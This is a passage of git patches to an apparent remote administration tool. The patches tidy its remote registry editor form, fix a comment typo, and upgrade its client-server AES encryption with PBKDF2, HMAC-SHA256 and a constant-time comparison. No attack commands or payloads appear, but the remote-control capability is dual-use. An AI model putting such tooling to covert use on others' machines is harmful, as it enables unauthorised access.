((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryDirectoryList.ImageStream"))); this.imageRegistryDirectoryList.TransparentColor = System.Drawing.Color.Transparent; this.imageRegistryDirectoryList.Images.SetKeyName(0, "folder.png"); // - // lstRegistryValues - // - this.lstRegistryValues.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { - this.hName, - this.hType, - this.hValue}); - this.lstRegistryValues.Dock = System.Windows.Forms.DockStyle.Fill; - this.lstRegistryValues.FullRowSelect = true; - this.lstRegistryValues.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable; - this.lstRegistryValues.HideSelection = false; - this.lstRegistryValues.Location = new System.Drawing.Point(0, 0); - this.lstRegistryValues.Name = "lstRegistryValues"; - this.lstRegistryValues.Size = new System.Drawing.Size(515, 508); - this.lstRegistryValues.SmallImageList = this.imageRegistryKeyTypeList; - this.lstRegistryValues.TabIndex = 0; - this.lstRegistryValues.UseCompatibleStateImageBehavior = false; - this.lstRegistryValues.View = System.Windows.Forms.View.Details; - this.lstRegistryValues.AfterLabelEdit += new System.Windows.Forms.LabelEditEventHandler(this.lstRegistryKeys_AfterLabelEdit); - this.lstRegistryValues.KeyUp += new System.Windows.Forms.KeyEventHandler(this.lstRegistryKeys_KeyUp); - this.lstRegistryValues.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick); - // - // hName - // - this.hName.Text = "Name"; - this.hName.Width = 173; - // - // hType - // - this.hType.Text = "Type"; - this.hType.Width = 104; - // - // hValue - // - this.hValue.Text = "Value"; - this.hValue.Width = 214; - // // imageRegistryKeyTypeList // this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream"))); @@ -527,7 +474,7 @@ private void InitializeComponent() this.lst_ContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.newToolStripMenuItem1}); this.lst_ContextMenuStrip.Name = "lst_ContextMenuStrip"; - this.lst_ContextMenuStrip.Size = new System.Drawing.Size(153, 48); + this.lst_ContextMenuStrip.Size = new System.Drawing.Size(99, 26); // // newToolStripMenuItem1 // @@ -541,7 +488,7 @@ private void InitializeComponent() this.multiStringValueToolStripMenuItem1, this.expandableStringValueToolStripMenuItem1}); this.newToolStripMenuItem1.Name = "newToolStripMenuItem1"; - this.newToolStripMenuItem1.Size = new System.Drawing.Size(152, 22); + this.newToolStripMenuItem1.Size = new System.Drawing.Size(98, 22); this.newToolStripMenuItem1.Text = "New"; // // keyToolStripMenuItem1 @@ -598,6 +545,59 @@ private void InitializeComponent() this.expandableStringValueToolStripMenuItem1.Text = "Expandable String Value"; this.expandableStringValueToolStripMenuItem1.Click += new System.EventHandler(this.createExpandStringRegistryValue_Click); // + // tvRegistryDirectory + // + this.tvRegistryDirectory.Dock = System.Windows.Forms.DockStyle.Fill; + this.tvRegistryDirectory.HideSelection = false; + this.tvRegistryDirectory.ImageIndex = 0; + this.tvRegistryDirectory.ImageList = this.imageRegistryDirectoryList; + this.tvRegistryDirectory.Location = new System.Drawing.Point(0, 0); + this.tvRegistryDirectory.Name = "tvRegistryDirectory"; + this.tvRegistryDirectory.SelectedImageIndex = 0; + this.tvRegistryDirectory.Size = new System.Drawing.Size(259, 508); + this.tvRegistryDirectory.TabIndex = 0; + this.tvRegistryDirectory.AfterLabelEdit += new System.Windows.Forms.NodeLabelEditEventHandler(this.tvRegistryDirectory_AfterLabelEdit); + this.tvRegistryDirectory.BeforeExpand += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeExpand); + this.tvRegistryDirectory.BeforeSelect += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeSelect); + this.tvRegistryDirectory.NodeMouseClick += new System.Windows.Forms.TreeNodeMouseClickEventHandler(this.tvRegistryDirectory_NodeMouseClick); + this.tvRegistryDirectory.KeyUp += new System.Windows.Forms.KeyEventHandler(this.tvRegistryDirectory_KeyUp); + // + // lstRegistryValues + // + this.lstRegistryValues.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hName, + this.hType, + this.hValue}); + this.lstRegistryValues.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstRegistryValues.FullRowSelect = true; + this.lstRegistryValues.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable; + this.lstRegistryValues.HideSelection = false; + this.lstRegistryValues.Location = new System.Drawing.Point(0, 0); + this.lstRegistryValues.Name = "lstRegistryValues"; + this.lstRegistryValues.Size = new System.Drawing.Size(515, 508); + this.lstRegistryValues.SmallImageList = this.imageRegistryKeyTypeList; + this.lstRegistryValues.TabIndex = 0; + this.lstRegistryValues.UseCompatibleStateImageBehavior = false; + this.lstRegistryValues.View = System.Windows.Forms.View.Details; + this.lstRegistryValues.AfterLabelEdit += new System.Windows.Forms.LabelEditEventHandler(this.lstRegistryKeys_AfterLabelEdit); + this.lstRegistryValues.KeyUp += new System.Windows.Forms.KeyEventHandler(this.lstRegistryKeys_KeyUp); + this.lstRegistryValues.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick); + // + // hName + // + this.hName.Text = "Name"; + this.hName.Width = 173; + // + // hType + // + this.hType.Text = "Type"; + this.hType.Width = 104; + // + // hValue + // + this.hValue.Text = "Value"; + this.hValue.Width = 214; + // // FrmRegistryEditor // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs index 7d948de8a..627a3e5ca 100644 --- a/Server/Forms/FrmRegistryEditor.cs +++ b/Server/Forms/FrmRegistryEditor.cs @@ -40,20 +40,13 @@ public FrmRegistryEditor(Client c) private void FrmRegistryEditor_Load(object sender, EventArgs e) { if (_connectClient.Value.AccountType != "Admin") - { - //Prompt user of not being admin - string msg = PRIVILEGE_WARNING; - string caption = "Alert!"; - MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Warning); - } + MessageBox.Show(PRIVILEGE_WARNING, "Alert!", MessageBoxButtons.OK, MessageBoxIcon.Warning); + + if (_connectClient != null) + this.Text = WindowHelper.GetWindowTitle("Registry Editor", _connectClient); // Signal client to retrive the root nodes (indicated by null) new xServer.Core.Packets.ServerPackets.DoLoadRegistryKey(null).Execute(_connectClient); - - this.lstRegistryValues.ListViewItemSorter = new RegistryValueListItemComparer(); - - if (_connectClient != null) - this.Text = WindowHelper.GetWindowTitle("Registry Editor", _connectClient); } private void FrmRegistryEditor_FormClosing(object sender, FormClosingEventArgs e) @@ -121,9 +114,7 @@ public void AddKeys(string rootName, RegSeekerMatch[] matches) tvRegistryDirectory.BeginUpdate(); foreach (var match in matches) - { AddRootKey(match); - } tvRegistryDirectory.SelectedNode = tvRegistryDirectory.Nodes[0]; @@ -141,10 +132,8 @@ public void AddKeys(string rootName, RegSeekerMatch[] matches) { tvRegistryDirectory.BeginUpdate(); - foreach (RegSeekerMatch match in matches) - { + foreach (var match in matches) AddKeyToTree(parent, match); - } parent.Expand(); tvRegistryDirectory.EndUpdate(); @@ -193,10 +182,6 @@ public void RenameKey(string rootKey, string oldName, string newName) parent.Nodes[oldName].Text = newName; parent.Nodes[oldName].Name = newName; - //Make sure to reselect the node - if (tvRegistryDirectory.SelectedNode == parent.Nodes[newName]) - tvRegistryDirectory.SelectedNode = null; - tvRegistryDirectory.SelectedNode = parent.Nodes[newName]; }); } @@ -240,9 +225,6 @@ public void CreateValue(string keyPath, RegValueData value) ValuesFromNode.Add(value); key.Tag = ValuesFromNode.ToArray(); - //Deactivate sorting (prevent sorting of new value) - lstRegistryValues.Sorting = SortOrder.None; - if (tvRegistryDirectory.SelectedNode == key) { RegistryValueLstItem item = new RegistryValueLstItem(value); @@ -253,10 +235,8 @@ public void CreateValue(string keyPath, RegValueData value) lstRegistryValues.LabelEdit = true; item.BeginEdit(); } - else - { - tvRegistryDirectory.SelectedNode = key; - } + + tvRegistryDirectory.SelectedNode = key; }); } } @@ -275,9 +255,7 @@ public void DeleteValue(string keyPath, string valueName) key.Tag = ((RegValueData[])key.Tag).Where(value => value.Name != valueName).ToArray(); if (tvRegistryDirectory.SelectedNode == key) - { lstRegistryValues.Items.RemoveByKey(valueName); - } } else //Handle delete of default value { @@ -289,9 +267,7 @@ public void DeleteValue(string keyPath, string valueName) var valueItem = lstRegistryValues.Items.Cast() .SingleOrDefault(item => item.Name == valueName); if (valueItem != null) - { valueItem.Data = regValue.Kind.RegistryTypeToString(null); - } } } @@ -317,14 +293,10 @@ public void RenameValue(string keyPath, string oldName, string newName) var valueItem = lstRegistryValues.Items.Cast() .SingleOrDefault(item => item.Name == oldName); if (valueItem != null) - { valueItem.RegName = newName; - } - } - else - { - tvRegistryDirectory.SelectedNode = key; } + + tvRegistryDirectory.SelectedNode = key; }); } } @@ -345,14 +317,10 @@ public void ChangeValue(string keyPath, RegValueData value) var valueItem = lstRegistryValues.Items.Cast() .SingleOrDefault(item => item.Name == value.Name); if (valueItem != null) - { valueItem.Data = value.Kind.RegistryTypeToString(value.Data); - } - } - else - { - tvRegistryDirectory.SelectedNode = key; } + + tvRegistryDirectory.SelectedNode = key; }); } } @@ -371,15 +339,19 @@ private void PopulateLstRegistryValues(RegValueData[] values) lstRegistryValues.BeginUpdate(); lstRegistryValues.Items.Clear(); - // Make sure that the passed values are usable - if (values != null && values.Length > 0) + //Sort values + values = ( + from value in values + orderby value.Name ascending + select value + ).ToArray(); + + foreach (var value in values) { - foreach (var value in values) - { - RegistryValueLstItem item = new RegistryValueLstItem(value); - lstRegistryValues.Items.Add(item); - } + RegistryValueLstItem item = new RegistryValueLstItem(value); + lstRegistryValues.Items.Add(item); } + lstRegistryValues.EndUpdate(); } @@ -453,21 +425,13 @@ private void tvRegistryDirectory_NodeMouseClick(object sender, TreeNodeMouseClic private void tvRegistryDirectory_BeforeSelect(object sender, TreeViewCancelEventArgs e) { - if (e.Node != null) - { - //Activate sorting (Make sure to sort values correctly) - lstRegistryValues.Sorting = SortOrder.Ascending; - - UpdateLstRegistryValues(e.Node); - } + UpdateLstRegistryValues(e.Node); } private void tvRegistryDirectory_KeyUp(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Delete && GetDeleteState()) - { deleteRegistryKey_Click(this, e); - } } #endregion @@ -602,9 +566,7 @@ private void lstRegistryKeys_AfterLabelEdit(object sender, LabelEditEventArgs e) private void lstRegistryKeys_KeyUp(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Delete && GetDeleteState()) - { deleteRegistryValue_Click(this, e); - } } #endregion diff --git a/Server/Forms/FrmRegistryEditor.resx b/Server/Forms/FrmRegistryEditor.resx index b17c42464..5d2001585 100644 --- a/Server/Forms/FrmRegistryEditor.resx +++ b/Server/Forms/FrmRegistryEditor.resx @@ -125,7 +125,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm - BwAAAk1TRnQBSQFMAwEBAAEwAQUBMAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA + BwAAAk1TRnQBSQFMAwEBAAFIAQUBSAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm @@ -169,7 +169,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk - CQAAAk1TRnQBSQFMAgEBAgEAAVABBAFQAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + CQAAAk1TRnQBSQFMAgEBAgEAAWgBBAFoAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA From ee2a7b4dcd731462abfbe4aa4e47efeecdfb80ae Mon Sep 17 00:00:00 2001 From: LjungErik Date: Sun, 24 Apr 2016 13:01:11 +0200 Subject: [PATCH 037/229] Fix spelling error --- Client/Core/Helper/RegistryKeyHelper.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Client/Core/Helper/RegistryKeyHelper.cs b/Client/Core/Helper/RegistryKeyHelper.cs index 141bdf287..5a17721d5 100644 --- a/Client/Core/Helper/RegistryKeyHelper.cs +++ b/Client/Core/Helper/RegistryKeyHelper.cs @@ -97,7 +97,7 @@ public static bool IsDefaultValue(string valueName) /// Adds the default value to the list of values and returns them as an array. /// If default value already exists this function will only return the list as an array. /// - /// The list with the values for with the default value should be added to + /// The list with the values for which the default value should be added to /// Array with all of the values including the default value public static RegValueData[] AddDefaultValue(List values) { From 63022a981e4f42534ce7c9c7160f3e58c21dafa1 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 7 May 2016 20:21:54 +0200 Subject: [PATCH 038/229] Revert DPI fix #423 #453 --- Client/app.manifest | 5 ----- Server/app.manifest | 5 ----- 2 files changed, 10 deletions(-) diff --git a/Client/app.manifest b/Client/app.manifest index 17e6b6645..b87f07381 100644 --- a/Client/app.manifest +++ b/Client/app.manifest @@ -20,9 +20,4 @@ - - - true - - \ No newline at end of file diff --git a/Server/app.manifest b/Server/app.manifest index 17e6b6645..b87f07381 100644 --- a/Server/app.manifest +++ b/Server/app.manifest @@ -20,9 +20,4 @@ - - - true - - \ No newline at end of file From 28e0cf5cdfc5e05c791e1d6ee3948e0a1ef2a667 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 7 May 2016 20:25:22 +0200 Subject: [PATCH 039/229] Only revert Server DPI fix, not Client... --- Client/app.manifest | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/Client/app.manifest b/Client/app.manifest index b87f07381..17e6b6645 100644 --- a/Client/app.manifest +++ b/Client/app.manifest @@ -20,4 +20,9 @@ + + + true + + \ No newline at end of file From d58cc0015659bd007a5a46ce584a791c286db449 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 16 May 2016 22:04:20 +0200 Subject: [PATCH 040/229] Improved AES implementation #450 --- Client/Core/Cryptography/AES.cs | 94 ++++++++++++++++++++++++++++----- Server/Core/Cryptography/AES.cs | 94 ++++++++++++++++++++++++++++----- 2 files changed, 160 insertions(+), 28 deletions(-) diff --git a/Client/Core/Cryptography/AES.cs b/Client/Core/Cryptography/AES.cs index b090c80d4..9dd96b789 100644 --- a/Client/Core/Cryptography/AES.cs +++ b/Client/Core/Cryptography/AES.cs @@ -5,17 +5,25 @@ namespace xClient.Core.Cryptography { - // ReSharper disable once InconsistentNaming public static class AES { - private const int IVLENGTH = 16; + private const int IvLength = 16; + private const int HmacSha256Length = 32; private static byte[] _defaultKey; + private static byte[] _defaultAuthKey; + + private static readonly byte[] Salt = + { + 0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B, 0xB2, 0x19, 0x2, 0x24, 0x30, 0xA5, 0x78, 0x43, 0x0, 0x3D, 0x56, + 0x44, 0xD2, 0x1E, 0x62, 0xB9, 0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41 + }; public static void SetDefaultKey(string key) { - using (var md5 = new MD5CryptoServiceProvider()) + using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(key, Salt, 2000)) { - _defaultKey = md5.ComputeHash(Encoding.UTF8.GetBytes(key)); + _defaultKey = derive.GetBytes(16); + _defaultAuthKey = derive.GetBytes(64); } } @@ -29,6 +37,12 @@ public static string Encrypt(string input) return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input))); } + /* FORMAT + * ---------------------------------------- + * | HMAC | IV | CIPHERTEXT | + * ---------------------------------------- + * 32 bytes 16 bytes + */ public static byte[] Encrypt(byte[] input) { if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty."); @@ -40,14 +54,28 @@ public static byte[] Encrypt(byte[] input) { using (var ms = new MemoryStream()) { - using (var aesProvider = new AesCryptoServiceProvider() { Key = _defaultKey }) + ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC + using (var aesProvider = new AesCryptoServiceProvider()) { + aesProvider.KeySize = 128; + aesProvider.BlockSize = 128; + aesProvider.Mode = CipherMode.CBC; + aesProvider.Padding = PaddingMode.PKCS7; + aesProvider.Key = _defaultKey; aesProvider.GenerateIV(); using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write)) { - ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write first 16 bytes IV, followed by encrypted message + ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext cs.Write(data, 0, data.Length); + cs.FlushFinalBlock(); + + using (var hmac = new HMACSHA256(_defaultAuthKey)) + { + byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext + ms.Position = 0; // write hash at beginning + ms.Write(hash, 0, hash.Length); + } } } @@ -64,9 +92,11 @@ public static byte[] Encrypt(byte[] input, byte[] key) { if (key == null || key.Length == 0) throw new Exception("Key can not be empty."); - using (var md5 = new MD5CryptoServiceProvider()) + byte[] authKey; + using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(key, Salt, 2000)) { - key = md5.ComputeHash(key); + key = derive.GetBytes(16); + authKey = derive.GetBytes(64); } byte[] data = input, encdata = new byte[0]; @@ -75,14 +105,28 @@ public static byte[] Encrypt(byte[] input, byte[] key) { using (var ms = new MemoryStream()) { - using (var aesProvider = new AesCryptoServiceProvider() { Key = key }) + ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC + using (var aesProvider = new AesCryptoServiceProvider()) { + aesProvider.KeySize = 128; + aesProvider.BlockSize = 128; + aesProvider.Mode = CipherMode.CBC; + aesProvider.Padding = PaddingMode.PKCS7; + aesProvider.Key = key; aesProvider.GenerateIV(); using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write)) { - ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write first 16 bytes IV, followed by encrypted message + ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext cs.Write(data, 0, data.Length); + cs.FlushFinalBlock(); + + using (var hmac = new HMACSHA256(authKey)) + { + byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext + ms.Position = 0; // write hash at beginning + ms.Write(hash, 0, hash.Length); + } } } @@ -111,15 +155,37 @@ public static byte[] Decrypt(byte[] input) { using (var ms = new MemoryStream(input)) { - using (var aesProvider = new AesCryptoServiceProvider() { Key = _defaultKey }) + using (var aesProvider = new AesCryptoServiceProvider()) { - byte[] iv = new byte[IVLENGTH]; - ms.Read(iv, 0, IVLENGTH); // read first 16 bytes for IV, followed by encrypted message + aesProvider.KeySize = 128; + aesProvider.BlockSize = 128; + aesProvider.Mode = CipherMode.CBC; + aesProvider.Padding = PaddingMode.PKCS7; + aesProvider.Key = _defaultKey; + + // read first 32 bytes for HMAC + using (var hmac = new HMACSHA256(_defaultAuthKey)) + { + var hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); + byte[] receivedHash = new byte[HmacSha256Length]; + ms.Read(receivedHash, 0, receivedHash.Length); + + for (int i = 0; i < hash.Length; i++) + { + if (receivedHash[i] != hash[i]) + { + return data; + } + } + } + + byte[] iv = new byte[IvLength]; + ms.Read(iv, 0, IvLength); // read next 16 bytes for IV, followed by ciphertext aesProvider.IV = iv; using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read)) { - byte[] temp = new byte[ms.Length - IVLENGTH + 1]; + byte[] temp = new byte[ms.Length - IvLength + 1]; data = new byte[cs.Read(temp, 0, temp.Length)]; Buffer.BlockCopy(temp, 0, data, 0, data.Length); } diff --git a/Server/Core/Cryptography/AES.cs b/Server/Core/Cryptography/AES.cs index 67d0fcd69..7325d5c53 100644 --- a/Server/Core/Cryptography/AES.cs +++ b/Server/Core/Cryptography/AES.cs @@ -5,17 +5,25 @@ namespace xServer.Core.Cryptography { - // ReSharper disable once InconsistentNaming public static class AES { - private const int IVLENGTH = 16; + private const int IvLength = 16; + private const int HmacSha256Length = 32; private static byte[] _defaultKey; + private static byte[] _defaultAuthKey; + + private static readonly byte[] Salt = + { + 0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B, 0xB2, 0x19, 0x2, 0x24, 0x30, 0xA5, 0x78, 0x43, 0x0, 0x3D, 0x56, + 0x44, 0xD2, 0x1E, 0x62, 0xB9, 0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41 + }; public static void SetDefaultKey(string key) { - using (var md5 = new MD5CryptoServiceProvider()) + using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(key, Salt, 2000)) { - _defaultKey = md5.ComputeHash(Encoding.UTF8.GetBytes(key)); + _defaultKey = derive.GetBytes(16); + _defaultAuthKey = derive.GetBytes(64); } } @@ -29,6 +37,12 @@ public static string Encrypt(string input) return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input))); } + /* FORMAT + * ---------------------------------------- + * | HMAC | IV | CIPHERTEXT | + * ---------------------------------------- + * 32 bytes 16 bytes + */ public static byte[] Encrypt(byte[] input) { if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty."); @@ -40,14 +54,28 @@ public static byte[] Encrypt(byte[] input) { using (var ms = new MemoryStream()) { - using (var aesProvider = new AesCryptoServiceProvider() { Key = _defaultKey }) + ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC + using (var aesProvider = new AesCryptoServiceProvider()) { + aesProvider.KeySize = 128; + aesProvider.BlockSize = 128; + aesProvider.Mode = CipherMode.CBC; + aesProvider.Padding = PaddingMode.PKCS7; + aesProvider.Key = _defaultKey; aesProvider.GenerateIV(); using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write)) { - ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write first 16 bytes IV, followed by encrypted message + ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext cs.Write(data, 0, data.Length); + cs.FlushFinalBlock(); + + using (var hmac = new HMACSHA256(_defaultAuthKey)) + { + byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext + ms.Position = 0; // write hash at beginning + ms.Write(hash, 0, hash.Length); + } } } @@ -64,9 +92,11 @@ public static byte[] Encrypt(byte[] input, byte[] key) { if (key == null || key.Length == 0) throw new Exception("Key can not be empty."); - using (var md5 = new MD5CryptoServiceProvider()) + byte[] authKey; + using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(key, Salt, 2000)) { - key = md5.ComputeHash(key); + key = derive.GetBytes(16); + authKey = derive.GetBytes(64); } byte[] data = input, encdata = new byte[0]; @@ -75,14 +105,28 @@ public static byte[] Encrypt(byte[] input, byte[] key) { using (var ms = new MemoryStream()) { - using (var aesProvider = new AesCryptoServiceProvider() { Key = key }) + ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC + using (var aesProvider = new AesCryptoServiceProvider()) { + aesProvider.KeySize = 128; + aesProvider.BlockSize = 128; + aesProvider.Mode = CipherMode.CBC; + aesProvider.Padding = PaddingMode.PKCS7; + aesProvider.Key = key; aesProvider.GenerateIV(); using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write)) { - ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write first 16 bytes IV, followed by encrypted message + ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext cs.Write(data, 0, data.Length); + cs.FlushFinalBlock(); + + using (var hmac = new HMACSHA256(authKey)) + { + byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext + ms.Position = 0; // write hash at beginning + ms.Write(hash, 0, hash.Length); + } } } @@ -111,15 +155,37 @@ public static byte[] Decrypt(byte[] input) { using (var ms = new MemoryStream(input)) { - using (var aesProvider = new AesCryptoServiceProvider() { Key = _defaultKey }) + using (var aesProvider = new AesCryptoServiceProvider()) { - byte[] iv = new byte[IVLENGTH]; - ms.Read(iv, 0, IVLENGTH); // read first 16 bytes for IV, followed by encrypted message + aesProvider.KeySize = 128; + aesProvider.BlockSize = 128; + aesProvider.Mode = CipherMode.CBC; + aesProvider.Padding = PaddingMode.PKCS7; + aesProvider.Key = _defaultKey; + + // read first 32 bytes for HMAC + using (var hmac = new HMACSHA256(_defaultAuthKey)) + { + var hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); + byte[] receivedHash = new byte[HmacSha256Length]; + ms.Read(receivedHash, 0, receivedHash.Length); + + for (int i = 0; i < hash.Length; i++) + { + if (receivedHash[i] != hash[i]) + { + return data; + } + } + } + + byte[] iv = new byte[IvLength]; + ms.Read(iv, 0, IvLength); // read next 16 bytes for IV, followed by ciphertext aesProvider.IV = iv; using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read)) { - byte[] temp = new byte[ms.Length - IVLENGTH + 1]; + byte[] temp = new byte[ms.Length - IvLength + 1]; data = new byte[cs.Read(temp, 0, temp.Length)]; Buffer.BlockCopy(temp, 0, data, 0, data.Length); } From eef7d258c24cdb7cdf5219fbf074031fdc6dd335 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Tue, 17 May 2016 10:34:06 +0200 Subject: [PATCH 041/229] Fixed possible timing attack when checking HMAC thanks to @TheNain38 --- Client/Client.csproj | 1 + Client/Core/Cryptography/AES.cs | 10 +++----- Client/Core/Helper/CryptographyHelper.cs | 29 ++++++++++++++++++++++++ Server/Core/Cryptography/AES.cs | 10 +++----- Server/Core/Helper/CryptographyHelper.cs | 29 ++++++++++++++++++++++++ Server/Server.csproj | 1 + 6 files changed, 66 insertions(+), 14 deletions(-) create mode 100644 Client/Core/Helper/CryptographyHelper.cs create mode 100644 Server/Core/Helper/CryptographyHelper.cs diff --git a/Client/Client.csproj b/Client/Client.csproj index 2639b9f19..c75c4c45b 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -57,6 +57,7 @@ + diff --git a/Client/Core/Cryptography/AES.cs b/Client/Core/Cryptography/AES.cs index 9dd96b789..449c35c0c 100644 --- a/Client/Core/Cryptography/AES.cs +++ b/Client/Core/Cryptography/AES.cs @@ -2,6 +2,7 @@ using System.IO; using System.Security.Cryptography; using System.Text; +using xClient.Core.Helper; namespace xClient.Core.Cryptography { @@ -170,13 +171,8 @@ public static byte[] Decrypt(byte[] input) byte[] receivedHash = new byte[HmacSha256Length]; ms.Read(receivedHash, 0, receivedHash.Length); - for (int i = 0; i < hash.Length; i++) - { - if (receivedHash[i] != hash[i]) - { - return data; - } - } + if (!CryptographyHelper.AreEqual(hash, receivedHash)) + return data; } byte[] iv = new byte[IvLength]; diff --git a/Client/Core/Helper/CryptographyHelper.cs b/Client/Core/Helper/CryptographyHelper.cs new file mode 100644 index 000000000..ee0cb2d94 --- /dev/null +++ b/Client/Core/Helper/CryptographyHelper.cs @@ -0,0 +1,29 @@ +using System.Runtime.CompilerServices; + +namespace xClient.Core.Helper +{ + public static class CryptographyHelper + { + /// + /// Compares two byte arrays for equality. + /// + /// Byte array to compare + /// Byte array to compare + /// True if equal, else false + /// + /// Assumes that the byte arrays have the same length. + /// This method is safe against timing attacks. + /// + [MethodImpl(MethodImplOptions.NoOptimization)] + public static bool AreEqual(byte[] a1, byte[] a2) + { + bool result = true; + for (int i = 0; i < a1.Length; ++i) + { + if (a1[i] != a2[i]) + result = false; + } + return result; + } + } +} diff --git a/Server/Core/Cryptography/AES.cs b/Server/Core/Cryptography/AES.cs index 7325d5c53..9f33d9b61 100644 --- a/Server/Core/Cryptography/AES.cs +++ b/Server/Core/Cryptography/AES.cs @@ -2,6 +2,7 @@ using System.IO; using 